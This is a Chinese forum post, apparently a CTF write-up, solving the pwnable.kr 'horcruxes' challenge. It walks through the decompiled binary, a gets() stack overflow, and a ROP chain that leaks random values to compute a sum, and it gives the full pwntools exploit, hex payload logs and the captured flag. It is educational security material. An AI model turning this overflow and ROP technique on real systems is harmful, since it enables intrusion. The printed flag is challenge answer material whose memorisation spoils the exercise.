首页
论坛
课程
招聘
[原创]pwnable.kr horcruxes
2021-3-1 16:02 2642

[原创]pwnable.kr horcruxes

2021-3-1 16:02
2642

horcruxes

0. 考察点

在 32 位程序中,执行 call_function,当 function 执行完毕后,pc 会指向 call_function + 4 字节处

1. 题目

1
2
3
4
5
Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choi
 
ssh horcruxes@pwnable.kr -p2222 (pw:guest)

2. 获得基础信息

1. 查看文件列表,读取 readme

1
2
3
4
5
6
7
horcruxes@pwnable:~$ ls -l
total 20
-rwxr-xr-x 1 root root 12424 Aug  8  2018 horcruxes
-rw-r--r-- 1 root root   131 Aug  8  2018 readme
horcruxes@pwnable:~$ cat readme
connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege.
rop it to read the flag.

程序以 horcruxes_pwn 的权限运行在本地的 9032 端口,考察 rop

2. 查看登录用户的信息

1
2
horcruxes@pwnable:~$ id
uid=1117(horcruxes) gid=1117(horcruxes) groups=1117(horcruxes)

用户名与所属组都是 horcruxes

3. 检查 horcruxes 文件

1
2
3
4
5
6
7
horcruxes@pwnable:~$ checksec ./horcruxes
[*] '/home/horcruxes/horcruxes'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x809f000)

3. 本地调试 horcruxes 文件

在 IDA 里查看反编译代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
unsigned int init_ABCDEFG()
{
  int v0; // eax
  unsigned int result; // eax
  unsigned int buf; // [esp+8h] [ebp-10h]
  int fd; // [esp+Ch] [ebp-Ch]
 
  fd = open("/dev/urandom", 0);
  if ( read(fd, &buf, 4u) != 4 )                // 4 字节的随机数存储到 buf
  {
    puts("/dev/urandom error");
    exit(0);
  }
  close(fd);
  srand(buf);                                   // buf 里的值作为生成随机数的种子
  a = -559038737 * rand() % 0xCAFEBABE;
  b = -559038737 * rand() % 0xCAFEBABE;
  c = -559038737 * rand() % 0xCAFEBABE;
  d = -559038737 * rand() % 0xCAFEBABE;
  e = -559038737 * rand() % 0xCAFEBABE;
  f = -559038737 * rand() % 0xCAFEBABE;
  v0 = rand();
  g = -559038737 * v0 % 0xCAFEBABE;
  result = f + e + d + c + b + a + -559038737 * v0 % 0xCAFEBABE;
  sum = result;
  return result;
}
 
 
int ropme()
{
  char s[100]; // [esp+4h] [ebp-74h]
  int v2; // [esp+68h] [ebp-10h]
  int fd; // [esp+6Ch] [ebp-Ch]
 
  printf("Select Menu:");
  __isoc99_scanf("%d", &v2);
  getchar();
 
  # 函数 A 到 G 是输出对应 a 到 g 的值
  if ( v2 == a )
  {
    A();
  }
  else if ( v2 == b )
  {
    B();
  }
  else if ( v2 == c )
  {
    C();
  }
  else if ( v2 == d )
  {
    D();
  }
  else if ( v2 == e )
  {
    E();
  }
  else if ( v2 == f )
  {
    F();
  }
  else if ( v2 == g )
  {
    G();
  }
  else
  {
    printf("How many EXP did you earned? : ");
    gets(s);
    if ( atoi(s) == sum )
    {
      fd = open("flag", 0);
      s[read(fd, s, 0x64u)] = 0;
      puts(s);
      close(fd);
      exit(0);
    }
    puts("You'd better get more experience to kill Voldemort");
  }
  return 0;
}
 
 
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ST1C_4
 
  setvbuf(stdout, 0, 2, 0);                     // 将 stdout 设置为无缓冲
  setvbuf(stdin, 0, 2, 0);                      // 将 stdin 设置为无缓冲
  alarm(0x3Cu);                                 // 60 秒传递一个 SIGALRM signal
  hint();                                       // 输出题目
  init_ABCDEFG();
  v3 = seccomp_init(0);                         // #define SCMP_ACT_KILL_THREAD    0x00000000U
  seccomp_rule_add(v3, 2147418112, 173, 0);     // 添加系统调用 sys_rt_sigreturn
                                                // #define SCMP_ACT_ALLOW      0x7fff0000U
                                                // 0x7fff0000U = 2147418112
  seccomp_rule_add(v3, 2147418112, 5, 0);       // 添加系统调用 open
  seccomp_rule_add(v3, 2147418112, 3, 0);       // 添加系统调用 read
  seccomp_rule_add(v3, 2147418112, 4, 0);       // 添加系统调用 write
  seccomp_rule_add(v3, 2147418112, 252, 0);     // 添加系统调用 sys_exit_group
  seccomp_load(v3);
  return ropme();
}

此时为了获得 flag 我们有两种思路
一是将返回地址修改为 fd = open("flag", 0); 对应的地址
二是求出 sum 的值

方法一:直接修改返回地址获得 flag

在 IDA 中找到 fd = open("flag", 0); 对应的地址为 0x080A010B
构造 payload payload = 'A' * (0x74 +4) + p32(fd_addr)
结果没有任何反应,连接直接被关闭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
whoami@DESKTOP-02CN0MD:~/pwn/horcruxes/attach$ python exp1.py
[+] Opening connection to pwnable.kr on port 9032: Done
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x39 bytes:
    'Voldemort concealed his splitted soul inside 7 horcruxes.'
[DEBUG] Received 0x51 bytes:
    '\n'
    'Find all horcruxes, and destroy it!\n'
    '\n'
    'Select Menu:How many EXP did you earned? : '
[DEBUG] Sent 0x7d bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000070  41 41 41 41  41 41 41 41  1d 01 0a 08  0a           │AAAA│AAAA│····│·│
    0000007d
[+] Receiving all data: Done (51B)
[DEBUG] Received 0x32 bytes:
    "You'd better get more experience to kill Voldemort"
[*] Closed connection to pwnable.kr port 9032

紧接着测试多个函数,发现 fd 对应的地址、hint 函数对应的地址、ropme 函数对应的地址都无法正常跳转
ropme 函数内的 A ~ G 这七个函数 和 call_ropme 对应地址可正常跳转,于是放弃此方法。
下面是仅跳转函数 A 的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
whoami@DESKTOP-02CN0MD:~/pwn/horcruxes/attach$ python exp1.py
[+] Opening connection to pwnable.kr on port 9032: Done
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x39 bytes:
    'Voldemort concealed his splitted soul inside 7 horcruxes.'
[DEBUG] Received 0x51 bytes:
    '\n'
    'Find all horcruxes, and destroy it!\n'
    '\n'
    'Select Menu:How many EXP did you earned? : '
[DEBUG] Sent 0x7d bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000070  41 41 41 41  41 41 41 41  4b fe 09 08  0a           │AAAA│AAAA│K···│·│
    0000007d
[+] Receiving all data: Done (101B)
[DEBUG] Received 0x64 bytes:
    "You'd better get more experience to kill Voldemort\n"
    'You found "Tom Riddle\'s Diary" (EXP +1573631536)\n'
[*] Closed connection to pwnable.kr port 9032
whoami@DESKTOP-02CN0MD:~/pwn/horcruxes/attach$

方法二:求出 sum 的值

可以看到,我们只要获得 sum 的值就可以读取 flag
sum 的值是函数 init_ABCDEFG() 求得,值为 a + b + c + d + e + f + g
a ~ g 是随机生成的,但是可以通过执行 A ~ G 函数获得相应的值

1
2
3
4
5
6
7
8
9
if ( v2 == a )
{
  A();
}
……
else if ( v2 == g )
{
  G();
}

v2 是我们手动输入的值,由于 a ~ g 是随机生成的,所以我们很难通过正常方式执行 A ~ G 函数
所以想执行 A ~ G 函数需要返回一遍 A ~ G 函数
此时我们得到了 a ~ g 的值,sum 为它们的和
这时我们需在调用一次 ropme 函数,将 sum 的值输入 How many EXP did you earned? : 后,获得flag

4. 构造 payload

s 是我们利用到的缓冲区,通过char s[100]; // [esp+4h] [ebp-74h]知它距离 ebp 有 0x74 字节
再加 4 字节就到了返回地址对应位置。(32 位)
在 32 位程序中,执行 call_function,当 function 执行完毕后,pc 会指向 call_function + 4 字节处
所以为了返回一遍 A ~ G 函数,我们将 A ~ G 函数的地址填写在填充字符后即可
为了发送 sum 的值我们还需再执行一次 ropme 函数,由方法一已知 ropme 函数直接返回会失败,于是用 call_ropme 的地址来替代
A ~ G 和 call_ropme 的地址均可通过 IDA 直接查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
.text:0809FE4B                 public A
.text:0809FE4B A               proc near               ; CODE XREF: ropme+3B↓p
.text:0809FE4B ; __unwind {
.text:0809FE4B                 push    ebp
.text:0809FE4C                 mov     ebp, esp
.text:0809FE4E                 sub     esp, 8
.text:0809FE51                 mov     eax, ds:a
.text:0809FE56                 sub     esp, 8
.text:0809FE59                 push    eax
.text:0809FE5A                 push    offset format   ; "You found \"Tom Riddle's Diary\" (EXP +"...
.text:0809FE5F                 call    _printf
.text:0809FE64                 add     esp, 10h
.text:0809FE67                 nop
.text:0809FE68                 leave
.text:0809FE69                 retn
.text:0809FE69 ; } // starts at 809FE4B
.text:0809FE69 A               endp
 
……
 
.text:0809FF05 G               proc near               ; CODE XREF: ropme+BF↓p
.text:0809FF05 ; __unwind {
.text:0809FF05                 push    ebp
.text:0809FF06                 mov     ebp, esp
.text:0809FF08                 sub     esp, 8
.text:0809FF0B                 mov     eax, ds:g
.text:0809FF10                 sub     esp, 8
.text:0809FF13                 push    eax
.text:0809FF14                 push    offset aYouFoundHarryP ; "You found \"Harry Potter\" (EXP +%d)\n"
.text:0809FF19                 call    _printf
.text:0809FF1E                 add     esp, 10h
.text:0809FF21                 nop
.text:0809FF22                 leave
.text:0809FF23                 retn
.text:0809FF23 ; } // starts at 809FF05
.text:0809FF23 G               endp
 
.text:0809FFFC                 call    ropme

exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
 
context.log_level = 'debug'
 
hint_addr = 0x080A0324
fd_addr = 0x080A011D
 
A_addr = 0x0809FE4B
B_addr = 0x0809FE6A
C_addr = 0x0809FE89
D_addr = 0x0809FEA8
E_addr = 0x0809FEC7
F_addr = 0x0809FEE6
G_addr = 0x0809FF05
rop_addr = 0x080A0009
call_rop = 0x0809FFFC
 
#payload = 'A' * (0x74 +4) + p32(fd_addr)
#payload = 'A' * (0x74 + 4) + p32(hint_addr)
#payload = 'A' * (0x74 +4) + p32(A_addr) + p32(B_addr) + p32(C_addr) + p32(D_addr) + p32(E_addr) + p32(F_addr) + p32(G_addr) + p32(rop_addr)
payload = 'A' * (0x74 +4) + p32(A_addr) + p32(B_addr) + p32(C_addr) + p32(D_addr) + p32(E_addr) + p32(F_addr) + p32(G_addr) + p32(call_rop)
 
conn = remote(host="pwnable.kr",port=9032)
conn.sendline("1")
conn.recvuntil("How many EXP did you earned? :")
conn.sendline(payload)
 
#conn.recvall()
 
conn.recvline()  # recv "You'd better get more experience to kill Voldemort\n"
sum = 0
for i in range(0,7):  # recv a ~ g
    res = conn.recvline()
    recvdata = int(res.strip('\n').split('+')[1][:-1])
    log.info("The %d" % i)
    log.info("recvdata %d" % recvdata)
    sum += recvdata
conn.recvuntil("Menu:")
conn.sendline("1")
conn.recvuntil(" : ")
conn.sendline(str(sum))
log.success("Flag: " + conn.recvline())

5. pwn

执行脚本,获得 flag:Magic_spell_1s_4vad4_K3daVr4!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
whoami@DESKTOP-02CN0MD:~/pwn/horcruxes/attach$ python exp1.py
[+] Opening connection to pwnable.kr on port 9032: Done
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x39 bytes:
    'Voldemort concealed his splitted soul inside 7 horcruxes.'
[DEBUG] Received 0x51 bytes:
    '\n'
    'Find all horcruxes, and destroy it!\n'
    '\n'
    'Select Menu:How many EXP did you earned? : '
[DEBUG] Sent 0x99 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000070  41 41 41 41  41 41 41 41  4b fe 09 08  6a fe 09 08  │AAAA│AAAA│K···│j···│
    00000080  89 fe 09 08  a8 fe 09 08  c7 fe 09 08  e6 fe 09 08  │····│····│····│····│
    00000090  05 ff 09 08  fc ff 09 08  0a                        │····│····│·│
    00000099
[DEBUG] Received 0x32 bytes:
    "You'd better get more experience to kill Voldemort"
[DEBUG] Received 0x172 bytes:
    '\n'
    'You found "Tom Riddle\'s Diary" (EXP +661559703)\n'
    'You found "Marvolo Gaunt\'s Ring" (EXP +-1930341090)\n'
    'You found "Helga Hufflepuff\'s Cup" (EXP +2006157778)\n'
    'You found "Salazar Slytherin\'s Locket" (EXP +1640323465)\n'
    'You found "Rowena Ravenclaw\'s Diadem" (EXP +-1904074094)\n'
    'You found "Nagini the Snake" (EXP +-1243168880)\n'
    'You found "Harry Potter" (EXP +711916854)\n'
    'Select Menu:'
[*] The 0
[*] recvdata 661559703
[*] The 1
[*] recvdata -1930341090
[*] The 2
[*] recvdata 2006157778
[*] The 3
[*] recvdata 1640323465
[*] The 4
[*] recvdata -1904074094
[*] The 5
[*] recvdata -1243168880
[*] The 6
[*] recvdata 711916854
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x1f bytes:
    'How many EXP did you earned? : '
[DEBUG] Sent 0xa bytes:
    '-57626264\n'
[DEBUG] Received 0x1e bytes:
    'Magic_spell_1s_4vad4_K3daVr4!\n'
[+] Flag: Magic_spell_1s_4vad4_K3daVr4!
[*] Closed connection to pwnable.kr port 9032
whoami@DESKTOP-02CN0MD:~/pwn/horcruxes/attach$

参考连接


[看雪官方培训] Unicorn Trace还原Ollvm算法!《安卓高级研修班》2021年6月班开始招生!!

收藏
点赞1
打赏
分享
最新回复 (3)
雪    币: 4765
活跃值: 活跃值 (8170)
能力值: (RANK:480 )
在线值:
发帖
回帖
粉丝
ScUpax0s 活跃值 7 2021-3-12 14:08
2
0
支持长期更新
雪    币: 2279
活跃值: 活跃值 (1990)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
i乂 活跃值 2021-3-15 14:48
3
0
ScUpax0s 支持长期更新
谢谢版主
雪    币: 77
活跃值: 活跃值 (2207)
能力值: ( LV9,RANK:155 )
在线值:
发帖
回帖
粉丝
天象独行 活跃值 2 2021-3-22 09:17
4
0
虽然看不懂,不妨碍崇拜师傅
游客
登录 | 注册 方可回帖
返回